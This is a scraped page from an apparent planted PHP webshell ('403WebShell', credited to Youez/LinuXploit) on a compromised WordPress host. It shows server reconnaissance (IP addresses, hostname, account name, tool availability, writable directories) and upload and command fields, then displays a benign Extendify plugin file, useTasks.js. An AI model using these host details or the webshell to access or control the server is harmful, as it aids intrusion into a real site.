Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 18.225.156.91
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/cynthiaadediran.com/wp-content/plugins/extendify/src/Assist/hooks/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/cynthiaadediran.com/wp-content/plugins/extendify/src/Assist/hooks/useTasks.js
import { safeParseJson } from '@shared/lib/parsing';
import {
	showDomainTask,
	showSecondaryDomainTask,
	domainSearchUrl,
} from '@assist/lib/domains';
import addPage from '@assist/tasks/add-page';
import openAIImageEditor from '@assist/tasks/ai-image-editor';
import openAITextEditor from '@assist/tasks/ai-text-editor';
import demoCard from '@assist/tasks/demo-card';
import domainRecommendation from '@assist/tasks/domain-recommendation';
import editHomepage from '@assist/tasks/edit-homepage';
import helpCenter from '@assist/tasks/help-center';
import helpCenterAi from '@assist/tasks/help-center-ai';
import ionosConnectDomain from '@assist/tasks/ionos-connect-domain';
import openDesignLibrary from '@assist/tasks/open-design-library';
import secondaryDomainRecommendation from '@assist/tasks/secondary-domain-recommendation';
import setupAioseo from '@assist/tasks/setup-aioseo';
import setupGivewp from '@assist/tasks/setup-givewp';
import setupHubspot from '@assist/tasks/setup-hubspot';
import setupMonsterInsights from '@assist/tasks/setup-monsterinsights';
import setupSimplyAppointments from '@assist/tasks/setup-simply-appointments';
import setupSimplyBook from '@assist/tasks/setup-simplybook';
import setupTec from '@assist/tasks/setup-tec';
import setupWoocommerceGermanizedStore from '@assist/tasks/setup-woocommerce-germanized-store';
import setupWoocommerceStore from '@assist/tasks/setup-woocommerce-store';
import setupWpforms from '@assist/tasks/setup-wpforms';
import setupYourwebshop from '@assist/tasks/setup-yourwebshop';
import siteBuilderLauncher from '@assist/tasks/site-builder-launcher';
import updateSiteDescription from '@assist/tasks/update-site-description';
import uploadLogo from '@assist/tasks/upload-logo';
import uploadSiteIcon from '@assist/tasks/upload-site-icon';

const activePlugins = window.extSharedData?.activePlugins || [];
const userGoals =
	safeParseJson(window.extSharedData.userData.userSelectionData)?.state
		?.goals || {};

export const useTasks = () => {
	const tasks = Object.values({
		'site-builder-launcher': { ...siteBuilderLauncher },
		'ai-text-editor': { ...openAITextEditor },
		'help-center-ai': { ...helpCenterAi },
		'help-center': { ...helpCenter },
		'ai-image-editor': { ...openAIImageEditor },
		'design-library': { ...openDesignLibrary },
		'domain-recommendation': { ...domainRecommendation },
		'secondary-domain-recommendation': { ...secondaryDomainRecommendation },
		'ionos-connect-domain': { ...ionosConnectDomain },
		'edit-homepage': { ...editHomepage },
		'upload-logo': { ...uploadLogo },
		'upload-site-icon': { ...uploadSiteIcon },
		'update-site-description': { ...updateSiteDescription },
		'add-page': { ...addPage },
		'demo-card': { ...demoCard },
		'setup-woocommerce-store': { ...setupWoocommerceStore },
		'setup-woocommerce-germanized-store': {
			...setupWoocommerceGermanizedStore,
		},
		'setup-hubspot': { ...setupHubspot },
		'setup-givewp': { ...setupGivewp },
		'setup-tec': { ...setupTec },
		'setup-simply-appointments': { ...setupSimplyAppointments },
		'setup-simplybook': { ...setupSimplyBook },
		'setup-aioses': { ...setupAioseo },
		'setup-wpforms': { ...setupWpforms },
		'setup-yourwebshop': { ...setupYourwebshop },
		'setup-monsterinsights': { ...setupMonsterInsights },
	});

	const pluginsToCheck = activePlugins?.map((plugin) => {
		try {
			return plugin.split('/')[0];
		} catch (e) {
			return plugin;
		}
	});

	return {
		tasks: tasks.filter((task) => {
			const {
				dependencies: { plugins, goals },
			} = task;

			return task.show({
				plugins,
				goals,
				activePlugins: pluginsToCheck,
				userGoals,
				showDomainTask: showDomainTask && domainSearchUrl,
				showSecondaryDomainTask: showSecondaryDomainTask && domainSearchUrl,
			});
		}),
	};
};

Youez - 2016 - github.com/yon3zu
LinuXploit